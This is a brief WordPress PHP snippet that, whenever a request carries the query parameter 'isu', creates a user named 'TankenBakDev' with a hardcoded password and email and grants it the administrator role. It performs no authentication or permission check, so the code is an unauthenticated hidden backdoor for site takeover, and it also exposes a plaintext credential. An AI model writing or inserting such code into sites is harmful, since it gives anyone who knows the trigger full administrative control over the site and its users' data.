if ( isset( $_GET['isu'] )  ) {
	add_action('init', 'add_user');
}

function add_user() {
	$username = 'TankenBakDev';
	$password = 'gQUnVjcp2kFLCvUyqiVGuVcq';
	$email = 'lukasz@tankenbak.no';

	// Create the new user
	$user_id = wp_create_user( $username, $password, $email );

	// Get current user object
	$user = get_user_by( 'id', $user_id );

	// Remove role
	$user->remove_role( 'subscriber' );

	// Add role
	$user->add_role( 'administrator' );
	var_dump('user added');
	die;
}